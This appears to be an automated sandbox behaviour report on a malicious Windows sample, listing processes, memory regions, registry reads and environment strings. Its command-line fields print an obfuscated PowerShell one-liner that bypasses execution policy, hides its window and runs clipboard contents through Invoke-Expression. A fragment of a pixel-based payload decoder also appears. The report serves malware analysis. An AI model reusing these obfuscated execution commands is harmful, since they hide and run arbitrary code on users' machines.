Fn
Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 1
Fn
Get Environment String name = PROMPT, result_out = $P$G True 1
Fn
Get Environment String name = COMSPEC, result_out = C:\Windows\system32\cmd.exe True 1
Fn
Get Environment String name = KEYS False 1
Fn
Get Environment String name = '){foreach(${x} in(0..619)){${p}=${g}.("{0}{1}" -f 'GetPi','xel').Invoke(${x},${_});${o}[${_}*620+${X}]=( $4g7 False 1
Fn
Set Environment String name = =C:, value = C:\Users\aETAdzjz\Desktop True 1
Fn
Process #5: clip.exe
0 0
»
Information Value
ID #5
File Name c:\windows\system32\clip.exe
Command Line c:\wIndOws\SyStem32\CliP.ExE
Initial Working Directory C:\Users\aETAdzjz\Desktop\
Monitor Start Time: 00:00:57, Reason: Child Process
Unmonitor End Time: 00:00:58, Reason: Self Terminated
Monitor Duration 00:00:01
Remark No high level activity detected in monitored regions
OS Process Information
»
Information Value
PID 0xb34
Parent PID 0xb24 (c:\windows\system32\cmd.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username YKYD69Q\aETAdzjz
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x B38
Region
»
Name Start VA End VA Type Permissions Monitored Dumped YARA Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory rw True False False -
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory rw True False False -
pagefile_0x0000000000020000 0x00020000 0x0002ffff Pagefile Backed Memory rw True False False -
pagefile_0x0000000000030000 0x00030000 0x00033fff Pagefile Backed Memory r True False False -
pagefile_0x0000000000040000 0x00040000 0x00040fff Pagefile Backed Memory r True False False -
locale.nls 0x00050000 0x000b6fff Memory Mapped File r False False False -
private_0x00000000000f0000 0x000f0000 0x0016ffff Private Memory rw True False False -
private_0x00000000001a0000 0x001a0000 0x0029ffff Private Memory rw True False False -
private_0x0000000000340000 0x00340000 0x0034ffff Private Memory rw True False False -
private_0x0000000000350000 0x00350000 0x0044ffff Private Memory rw True False False -
user32.dll 0x77a20000 0x77b19fff Memory Mapped File rwx False False False -
kernel32.dll 0x77b20000 0x77c3efff Memory Mapped File rwx False False False -
ntdll.dll 0x77c40000 0x77de8fff Memory Mapped File rwx False False False -
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory r True False False -
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory r True False False -
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory r True False False -
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory r True False False -
clip.exe 0xffef0000 0xffefbfff Memory Mapped File rwx False False False -
version.dll 0x7fefcd50000 0x7fefcd5bfff Memory Mapped File rwx False False False -
kernelbase.dll 0x7fefdd60000 0x7fefddcafff Memory Mapped File rwx False False False -
gdi32.dll 0x7fefdf60000 0x7fefdfc6fff Memory Mapped File rwx False False False -
ws2_32.dll 0x7fefee30000 0x7fefee7cfff Memory Mapped File rwx False False False -
advapi32.dll 0x7feff0e0000 0x7feff1bafff Memory Mapped File rwx False False False -
sechost.dll 0x7feff1c0000 0x7feff1defff Memory Mapped File rwx False False False -
usp10.dll 0x7feff4d0000 0x7feff598fff Memory Mapped File rwx False False False -
msvcrt.dll 0x7feff5a0000 0x7feff63efff Memory Mapped File rwx False False False -
shlwapi.dll 0x7feff640000 0x7feff6b0fff Memory Mapped File rwx False False False -
lpk.dll 0x7feff860000 0x7feff86dfff Memory Mapped File rwx False False False -
rpcrt4.dll 0x7feffc50000 0x7feffd7cfff Memory Mapped File rwx False False False -
nsi.dll 0x7feffec0000 0x7feffec7fff Memory Mapped File rwx False False False -
apisetschema.dll 0x7fefff60000 0x7fefff60fff Memory Mapped File rwx False False False -
pagefile_0x000007fffffb0000 0x7fffffb0000 0x7fffffd2fff Pagefile Backed Memory r True False False -
private_0x000007fffffdc000 0x7fffffdc000 0x7fffffddfff Private Memory rw True False False -
private_0x000007fffffde000 0x7fffffde000 0x7fffffdefff Private Memory rw True False False -
Process #6: cmd.exe
56 0
»
Information Value
ID #6
File Name c:\windows\system32\cmd.exe
Command Line CMd.Exe /c powerSHELL -ExeCUTIONpOl BYPass -NoniN -wIndOwSTY HIDDEn -nOpROFi -st -NolOgO . ( \"{0}{1}{2}\" -f 'Add',( \"{0}{1}\" -f'-','Typ' ),'e' ) -Assem (\"{3}{1}{5}{0}{4}{2}\" -f ( \"{2}{1}{0}\" -f'd','.Win','em' ),'ys','s','S',( \"{2}{1}{0}\"-f 'Form','.','ows'),'t') ; ^& ( ${e`NV`:cOMs`pec}[4,15,25]-jOIN'') ( ( [SYSteM.WiNDoWs.ForMS.CLIPbOaRd]::(\"{0}{1}\" -f 'G',(\"{0}{1}\" -f'e','ttExT' )).\"i`Nv`oKE\"( ) ) ) ; [System.Windows.Forms.Clipboard]::(\"{0}{1}\" -f'Cl','ear' ).\"i`NvO`kE\"( )
Initial Working Directory C:\Users\aETAdzjz\Desktop\
Monitor Start Time: 00:00:57, Reason: Child Process
Unmonitor End Time: 00:01:41, Reason: Self Terminated
Monitor Duration 00:00:44
OS Process Information
»
Information Value
PID 0xb3c
Parent PID 0xb24 (c:\windows\system32\cmd.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username YKYD69Q\aETAdzjz
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x B40
Region
»
Name Start VA End VA Type Permissions Monitored Dumped YARA Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory rw True False False -
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory rw True False False -
pagefile_0x0000000000020000 0x00020000 0x0002ffff Pagefile Backed Memory rw True False False -
pagefile_0x0000000000030000 0x00030000 0x00033fff Pagefile Backed Memory r True False False -
pagefile_0x0000000000040000 0x00040000 0x00040fff Pagefile Backed Memory r True False False -
private_0x0000000000050000 0x00050000 0x0014ffff Private Memory rw True False False -
locale.nls 0x00150000 0x001b6fff Memory Mapped File r False False False -
private_0x00000000001c0000 0x001c0000 0x002bffff Private Memory rw True False False -
private_0x00000000002c0000 0x002c0000 0x002cffff Private Memory rw True False False -
pagefile_0x00000000002d0000 0x002d0000 0x002d6fff Pagefile Backed Memory r True False False -
pagefile_0x00000000002e0000 0x002e0000 0x002e1fff Pagefile Backed Memory rw True False False -
private_0x00000000002f0000 0x002f0000 0x002f0fff Private Memory rw True False False -
private_0x0000000000300000 0x00300000 0x00300fff Private Memory rw True False False -
private_0x0000000000320000 0x00320000 0x0041ffff Private Memory rw True False False -
pagefile_0x0000000000420000 0x00420000 0x005a7fff Pagefile Backed Memory r True False False -
pagefile_0x00000000005b0000 0x005b0000 0x00730fff Pagefile Backed Memory r True False False -
pagefile_0x0000000000740000 0x00740000 0x01b3ffff Pagefile Backed Memory r True False False -
pagefile_0x0000000001b40000 0x01b40000 0x01e82fff Pagefile Backed Memory r True False False -
sortdefault.nls 0x01e90000 0x0215efff Memory Mapped File r False False False -
cmd.exe 0x4a210000 0x4a268fff Memory Mapped File rwx True False False -
user32.dll 0x77a20000 0x77b19fff Memory Mapped File rwx False False False -
kernel32.dll 0x77b20000 0x77c3efff Memory Mapped File rwx False False False -
ntdll.dll 0x77c40000 0x77de8fff Memory Mapped File rwx False False False -
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory r True False False -
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory r True False False -
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory r True False False -
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory r True False False -
winbrand.dll 0x7fef9350000 0x7fef9357fff Memory Mapped File rwx False False False -
kernelbase.dll 0x7fefdd60000 0x7fefddcafff Memory Mapped File rwx False False False -
gdi32.dll 0x7fefdf60000 0x7fefdfc6fff Memory Mapped File rwx False False False -
imm32.dll 0x7fefed60000 0x7fefed8dfff Memory Mapped File rwx False False False -
msctf.dll 0x7feff1e0000 0x7feff2e8fff Memory Mapped File rwx False False False -
usp10.dll 0x7feff4d0000 0x7feff598fff Memory Mapped File rwx False False False -
msvcrt.dll 0x7feff5a0000 0x7feff63efff Memory Mapped File rwx False False False -
lpk.dll 0x7feff860000 0x7feff86dfff Memory Mapped File rwx False False False -
apisetschema.dll 0x7fefff60000 0x7fefff60fff Memory Mapped File rwx False False False -
pagefile_0x000007fffffb0000 0x7fffffb0000 0x7fffffd2fff Pagefile Backed Memory r True False False -
private_0x000007fffffdd000 0x7fffffdd000 0x7fffffdefff Private Memory rw True False False -
private_0x000007fffffdf000 0x7fffffdf000 0x7fffffdffff Private Memory rw True False False -
Host Behavior
File (9)
»
Operation Filename Additional Information Success Count Logfile
Get Info C:\Users\aETAdzjz\Desktop type = file_attributes True 2
Fn
Open STD_OUTPUT_HANDLE - True 5
Fn
Open STD_INPUT_HANDLE - True 2
Fn
Registry (17)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System - False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Command Processor - True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 24, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = AutoRun, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = AutoRun, data = 9, type = REG_NONE False 1
Fn
Process (1)
»
Operation Process Additional Information Success Count Logfile
Create C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe os_pid = 0xb44, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL True 1
Fn
Module (8)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\system32\cmd.exe base_address = 0x4a210000 True 1
Fn
Get Handle c:\windows\system32\kernel32.dll base_address = 0x77b20000 True 2
Fn
Get Filename - process_name = c:\windows\system32\cmd.exe, file_name_orig = C:\Windows\system32\cmd.exe, size = 260 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetThreadUILanguage, address_out = 0x77b36d40 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CopyFileExW, address_out = 0x77b323d0 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = IsDebuggerPresent, address_out = 0x77b28290 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetConsoleInputExeNameW, address_out = 0x77b317e0 True 1
Fn
System (2)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 2018-10-24 06:16:23 (UTC) True 1
Fn
Get Time type = Ticks, time = 124051 True 1
Fn
Environment (17)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 6
Fn
Data
Get Environment String name = PATH, result_out = C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Program Files\Microsoft Office\root\Client True 2
Fn
Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 2
Fn
Get Environment String name = PROMPT, result_out = $P$G True 1
Fn
Get Environment String name = COMSPEC, result_out = C:\Windows\system32\cmd.exe True 1
Fn
Get Environment String name = KEYS False 1
Fn
Set Environment String name = =C:, value = C:\Users\aETAdzjz\Desktop True 1
Fn
Set Environment String name = COPYCMD True 1
Fn
Set Environment String name = =ExitCode, value = 00000000 True 1
Fn
Set Environment String name = =ExitCodeAscii True 1
Fn
Process #7: powershell.exe
540 272
»
Information Value
ID #7
File Name c:\windows\system32\windowspowershell\v1.0\powershell.exe
Command Line powerSHELL -ExeCUTIONpOl BYPass -NoniN -wIndOwSTY HIDDEn -nOpROFi -st -NolOgO . ( \"{0}{1}{2}\" -f 'Add',( \"{0}{1}\" -f'-','Typ' ),'e' ) -Assem (\"{3}{1}{5}{0}{4}{2}\" -f ( \"{2}{1}{0}\" -f'd','.Win','em' ),'ys','s','S',( \"{2}{1}{0}\"-f 'Form','.','ows'),'t') ; & ( ${e`NV`:cOMs`pec}[4,15,25]-jOIN'') ( ( [SYSteM.WiNDoWs.ForMS.CLIPbOaRd]::(\"{0}{1}\" -f 'G',(\"{0}{1}\" -f'e','ttExT' )).\"i`Nv`oKE\"( ) ) ) ; [System.Windows.Forms.Clipboard]::(\"{0}{1}\" -f'Cl','ear' ).\"i`NvO`kE\"( )
Initial Working Directory C:\Users\aETAdzjz\Desktop\
Monitor Start Time: 00:00:57, Reason: Child Process
Unmonitor End Time: 00:01:41, Reason: Self Terminated
Monitor Duration 00:00:44
OS Process Information
»
Information Value
PID 0xb44
Parent PID 0xb3c (c:\windows\system32\cmd.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username YKYD69Q\aETAdzjz
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x B48
0x B4C
0x B50
0x B54
0x B5C
0x B60
0x BF4
0x BF8
0x BFC
0x 508
0x 830
0x 838
0x 488
Region
»
Name Start VA End VA Type Permissions Monitored Dumped YARA Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory rw True False False -
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory rw True False False -
pagefile_0x0000000000020000 0x00020000 0x0002ffff Pagefile Backed Memory rw True False False -
pagefile_0x0000000000030000 0x00030000 0x00033fff Pagefile Backed Memory r True False False -
pagefile_0x0000000000040000 0x00040000 0x00040fff Pagefile Backed Memory r True False False -
private_0x0000000000050000 0x00050000 0x0005ffff Private Memory rw True False False -
pagefile_0x0000000000060000 0x00060000 0x00066fff Pagefile Backed Memory r True False False -
pagefile_0x0000000000070000 0x00070000 0x00071fff Pagefile Backed Memory rw True False False -
powershell.exe.mui 0x00080000 0x00082fff Memory Mapped File rw False False False -
private_0x0000000000090000 0x00090000 0x00090fff Private Memory rw True False False -
private_0x00000000000a0000 0x000a0000 0x000a0fff Private Memory rw True False False -
private_0x00000000000b0000 0x000b0000 0x0012ffff Private Memory rw True False False -
locale.nls 0x00130000 0x00196fff Memory Mapped File r False False False -
pagefile_0x00000000001a0000 0x001a0000 0x001a0fff Pagefile Backed Memory r True False False -
pagefile_0x00000000001b0000 0x001b0000 0x001b0fff Pagefile Backed Memory r True False False -
pagefile_0x00000000001c0000 0x001c0000 0x001c1fff Pagefile Backed Memory r True False False -
pagefile_0x00000000001d0000 0x001d0000 0x001d0fff Pagefile Backed Memory rw True False False -
pagefile_0x00000000001e0000 0x001e0000 0x001e1fff Pagefile Backed Memory r True False False -
cversions.2.db 0x001f0000 0x001f3fff Memory Mapped File r True False False -
{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000017.db 0x00200000 0x0021ffff Memory Mapped File r True False False -
pagefile_0x0000000000220000 0x00220000 0x00220fff Pagefile Backed Memory rw True False False -
private_0x0000000000230000 0x00230000 0x0032ffff Private Memory rw True False False -
private_0x0000000000330000 0x00330000 0x0042ffff Private Memory rw True False False -
pagefile_0x0000000000430000 0x00430000 0x005b7fff Pagefile Backed Memory r True False False -
pagefile_0x00000000005c0000 0x005c0000 0x00740fff Pagefile Backed Memory r True False False -
pagefile_0x0000000000750000 0x00750000 0x01b4ffff Pagefile Backed Memory r True False False -
private_0x0000000001b50000 0x01b50000 0x01c4ffff Private Memory rw True False False -
cversions.2.db 0x01c50000 0x01c53fff Memory Mapped File r True False False -
private_0x0000000001c60000 0x01c60000 0x01c6ffff Private Memory rw True False False -
pagefile_0x0000000001c70000 0x01c70000 0x01d4efff Pagefile Backed Memory r True False False -
pagefile_0x0000000001d50000 0x01d50000 0x01d50fff Pagefile Backed Memory r True False False -
private_0x0000000001d60000 0x01d60000 0x01ddffff Private Memory rwx True False False -
pagefile_0x0000000001de0000 0x01de0000 0x01de2fff Pagefile Backed Memory rw True False False -
pagefile_0x0000000001df0000 0x01df0000 0x01df0fff Pagefile Backed Memory rw True False False -
private_0x0000000001e00000 0x01e00000 0x01e7ffff Private Memory rw True False False -
{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000001c.db 0x01e80000 0x01eaffff Memory Mapped File r True False False -
{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db 0x01eb0000 0x01f15fff Memory Mapped File r True False False -
private_0x0000000001f20000 0x01f20000 0x01f9ffff Private Memory rw True False False -
sortdefault.nls 0x01fa0000 0x0226efff Memory Mapped File r False False False -
pagefile_0x0000000002270000 0x02270000 0x02662fff Pagefile Backed Memory r True False False -
private_0x0000000002670000 0x02670000 0x02770fff Private Memory rw True False False -
private_0x0000000002670000 0x02670000 0x0267ffff Private Memory rw True False False -
private_0x0000000002680000 0x02680000 0x0269ffff Private Memory - True False False -
l_intl.nls 0x026a0000 0x026a2fff Memory Mapped File r False False False -
private_0x00000000026b0000 0x026b0000 0x026b0fff Private Memory rw True False False -
sorttbls.nlp 0x026c0000 0x026c4fff Memory Mapped File r False False False -
sortkey.nlp 0x026d0000 0x02710fff Memory Mapped File r False False False -
microsoft.wsman.runtime.dll 0x02720000 0x02727fff Memory Mapped File rwx False False False -
pagefile_0x0000000002730000 0x02730000 0x02730fff Pagefile Backed Memory r True False False -
private_0x0000000002740000 0x02740000 0x027bffff Private Memory rwx True False False -
pagefile_0x00000000027c0000 0x027c0000 0x027c0fff Pagefile Backed Memory r True False False -
mscorrc.dll 0x027c0000 0x02813fff Memory Mapped File r True False False -
private_0x0000000002820000 0x02820000 0x0289ffff Private Memory rw True False False -
private_0x00000000028a0000 0x028a0000 0x0291ffff Private Memory rw True False False -
private_0x0000000002920000 0x02920000 0x02a1ffff Private Memory rw True False False -
private_0x0000000002a50000 0x02a50000 0x02acffff Private Memory rw True False False -
private_0x0000000002af0000 0x02af0000 0x02afffff Private Memory rw True False False -
private_0x0000000002b00000 0x02b00000 0x1aafffff Private Memory rw True False False -
private_0x000000001ab00000 0x1ab00000 0x1b1cffff Private Memory rw True False False -
private_0x000000001b1d0000 0x1b1d0000 0x1b2d0fff Private Memory rw True False False -
kernelbase.dll.mui 0x1b2e0000 0x1b39ffff Memory Mapped File rw False False False -
private_0x000000001b470000 0x1b470000 0x1b4effff Private Memory rw True False False -
system.management.automation.dll 0x1b4f0000 0x1b7d1fff Memory Mapped File rwx False False False -
private_0x000000001b7e0000 0x1b7e0000 0x1b8dffff Private Memory rw True False False -
system.transactions.dll 0x1e230000 0x1e278fff Memory Mapped File rwx False False False -
msvcr80.dll 0x756a0000 0x75768fff Memory Mapped File rwx False False False -
user32.dll 0x77a20000 0x77b19fff Memory Mapped File rwx False False False -
kernel32.dll 0x77b20000 0x77c3efff Memory Mapped File rwx False False False -
ntdll.dll 0x77c40000 0x77de8fff Memory Mapped File rwx False False False -
psapi.dll 0x77e00000 0x77e06fff Memory Mapped File rwx False False False -
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory r True False False -
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory r True False False -
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory r True False False -
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory r True False False -
powershell.exe 0x13fda0000 0x13fe16fff Memory Mapped File rwx False False False -
culture.dll 0x642ff4a0000 0x642ff4a9fff Memory Mapped File rwx True False False -
system.directoryservices.ni.dll 0x7fee0d60000 0x7fee0ef4fff Memory Mapped File rwx True False False -
system.management.ni.dll 0x7fee0f00000 0x7fee106bfff Memory Mapped File rwx True False False -
system.xml.ni.dll 0x7fee1070000 0x7fee1714fff Memory Mapped File rwx True False False -
microsoft.powershell.security.ni.dll 0x7fee1aa0000 0x7fee1addfff Memory Mapped File rwx True False False -
microsoft.powershell.commands.management.ni.dll 0x7fee1db0000 0x7fee1ec7fff Memory Mapped File rwx True False False -
microsoft.powershell.commands.utility.ni.dll 0x7fee1ed0000 0x7fee20e5fff Memory Mapped File rwx True False False -
system.transactions.ni.dll 0x7fee20f0000 0x7fee21d4fff Memory Mapped File rwx True False False -
microsoft.wsman.management.ni.dll 0x7fee21e0000 0x7fee2289fff Memory Mapped File rwx True False False -
system.configuration.install.ni.dll 0x7fee2290000 0x7fee22c1fff Memory Mapped File rwx True False False -
system.core.ni.dll 0x7fee22d0000 0x7fee25fdfff Memory Mapped File rwx True False False -
system.management.automation.ni.dll 0x7fee26e0000 0x7fee323cfff Memory Mapped File rwx True False False -
microsoft.powershell.consolehost.ni.dll 0x7fee3240000 0x7fee32f1fff Memory Mapped File rwx True False False -
system.ni.dll 0x7fee3300000 0x7fee3d22fff Memory Mapped File rwx True False False -
mscorlib.ni.dll 0x7fee3d30000 0x7fee4c0bfff Memory Mapped File rwx True False False -
mscorwks.dll 0x7fee4c10000 0x7fee55acfff Memory Mapped File rwx True False False -
shfolder.dll 0x7fee64e0000 0x7fee64e6fff Memory Mapped File rwx False False False -
microsoft.powershell.commands.diagnostics.ni.dll 0x7fee6510000 0x7fee6578fff Memory Mapped File rwx True False False -
mscoreei.dll 0x7fee9a60000 0x7fee9af8fff Memory Mapped File rwx True False False -
mscoree.dll 0x7fef35b0000 0x7fef361efff Memory Mapped File rwx True False False -
linkinfo.dll 0x7fef8e40000 0x7fef8e4bfff Memory Mapped File rwx False False False -
shdocvw.dll 0x7fef8e50000 0x7fef8e83fff Memory Mapped File rwx False False False -
ntshrui.dll 0x7fef9b40000 0x7fef9bbffff Memory Mapped File rwx False False False -
cscapi.dll 0x7fef9bc0000 0x7fef9bcefff Memory Mapped File rwx False False False -
apphelp.dll 0x7fefb340000 0x7fefb396fff Memory Mapped File rwx False False False -
slc.dll 0x7fefb730000 0x7fefb73afff Memory Mapped File rwx False False False -
atl.dll 0x7fefb760000 0x7fefb778fff Memory Mapped File rwx False False False -
ntmarta.dll 0x7fefbb00000 0x7fefbb2cfff Memory Mapped File rwx False False False -
uxtheme.dll 0x7fefc4b0000 0x7fefc505fff Memory Mapped File rwx False False False -
propsys.dll 0x7fefc510000 0x7fefc63bfff Memory Mapped File rwx False False False -
comctl32.dll 0x7fefc690000 0x7fefc883fff Memory Mapped File rwx False False False -
version.dll 0x7fefcd50000 0x7fefcd5bfff Memory Mapped File rwx False False False -
userenv.dll 0x7fefcf30000 0x7fefcf4dfff Memory Mapped File rwx False False False -
rsaenh.dll 0x7fefd180000 0x7fefd1c6fff Memory Mapped File rwx False False False -
cryptsp.dll 0x7fefd480000 0x7fefd496fff Memory Mapped File rwx False False False -
srvcli.dll 0x7fefd980000 0x7fefd9a2fff Memory Mapped File rwx False False False -
cryptbase.dll 0x7fefda80000 0x7fefda8efff Memory Mapped File rwx False False False -
profapi.dll 0x7fefdb90000 0x7fefdb9efff Memory Mapped File rwx False False False -
cfgmgr32.dll 0x7fefdce0000 0x7fefdd15fff Memory Mapped File rwx False False False -
kernelbase.dll 0x7fefdd60000 0x7fefddcafff Memory Mapped File rwx False False False -
devobj.dll 0x7fefddd0000 0x7fefdde9fff Memory Mapped File rwx False False False -
gdi32.dll 0x7fefdf60000 0x7fefdfc6fff Memory Mapped File rwx False False False -
shell32.dll 0x7fefdfd0000 0x7fefed57fff Memory Mapped File rwx False False False -
imm32.dll 0x7fefed60000 0x7fefed8dfff Memory Mapped File rwx False False False -
advapi32.dll 0x7feff0e0000 0x7feff1bafff Memory Mapped File rwx False False False -
sechost.dll 0x7feff1c0000 0x7feff1defff Memory Mapped File rwx False False False -
msctf.dll 0x7feff1e0000 0x7feff2e8fff Memory Mapped File rwx False False False -
setupapi.dll 0x7feff2f0000 0x7feff4c6fff Memory Mapped File rwx False False False -
usp10.dll 0x7feff4d0000 0x7feff598fff Memory Mapped File rwx False False False -
msvcrt.dll 0x7feff5a0000 0x7feff63efff Memory Mapped File rwx False False False -
shlwapi.dll 0x7feff640000 0x7feff6b0fff Memory Mapped File rwx False False False -
lpk.dll 0x7feff860000 0x7feff86dfff Memory Mapped File rwx False False False -
clbcatq.dll 0x7feff9a0000 0x7feffa38fff Memory Mapped File rwx False False False -
ole32.dll 0x7feffa40000 0x7feffc42fff Memory Mapped File rwx False False False -
rpcrt4.dll 0x7feffc50000 0x7feffd7cfff Memory Mapped File rwx False False False -
oleaut32.dll 0x7feffd80000 0x7feffe56fff Memory Mapped File rwx False False False -
wldap32.dll 0x7feffe60000 0x7feffeb1fff Memory Mapped File rwx False False False -
apisetschema.dll 0x7fefff60000 0x7fefff60fff Memory Mapped File rwx False False False -
private_0x000007ff00030000 0x7ff00030000 0x7ff0003ffff Private Memory - True False False -
private_0x000007ff00040000 0x7ff00040000 0x7ff0004ffff Private Memory - True False False -
private_0x000007ff00050000 0x7ff00050000 0x7ff000effff Private Memory - True False False -
private_0x000007ff000f0000 0x7ff000f0000 0x7ff000fffff Private Memory - True False False -
private_0x000007ff00100000 0x7ff00100000 0x7ff0016ffff Private Memory - True False False -
private_0x000007ff00170000 0x7ff00170000 0x7ff0017ffff Private Memory - True False False -
private_0x000007ff00180000 0x7ff00180000 0x7ff0018ffff Private Memory - True False False -
private_0x000007fffff10000 0x7fffff10000 0x7fffff1ffff Private Memory rwx True False False -
private_0x000007fffff20000 0x7fffff20000 0x7fffffaffff Private Memory rwx True False False -
pagefile_0x000007fffffb0000 0x7fffffb0000 0x7fffffd2fff Pagefile Backed Memory r True False False -
private_0x000007fffffd3000 0x7fffffd3000 0x7fffffd4fff Private Memory rw True False False -
private_0x000007fffffd5000 0x7fffffd5000 0x7fffffd6fff Private Memory rw True False False -
private_0x000007fffffd7000 0x7fffffd7000 0x7fffffd8fff Private Memory rw True False False -
private_0x000007fffffd9000 0x7fffffd9000 0x7fffffdafff Private Memory rw True False False -
private_0x000007fffffdb000 0x7fffffdb000 0x7fffffdbfff Private Memory rw True False False -
private_0x000007fffffdc000 0x7fffffdc000 0x7fffffddfff Private Memory rw True False False -
private_0x000007fffffde000 0x7fffffde000 0x7fffffdffff Private Memory rw True False False -
For performance reasons, the remaining 98 entries are omitted.
The remaining entries can be found in flog.txt.
Host Behavior
File (106)
»
Operation Filename Additional Information Success Count Logfile
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Config\machine.config desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, share_mode = FILE_SHARE_READ True 1
Fn
Get Info C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\powershell.config type = file_attributes False 1
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0 type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml type = file_attributes True 1
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml type = file_attributes True 1
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml type = file_attributes True 1
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml type = file_attributes True 1
Fn
Get Info C:\Users\aETAdzjz type = file_attributes True 1
Fn
Get Info C:\ type = file_attributes True 4
Fn
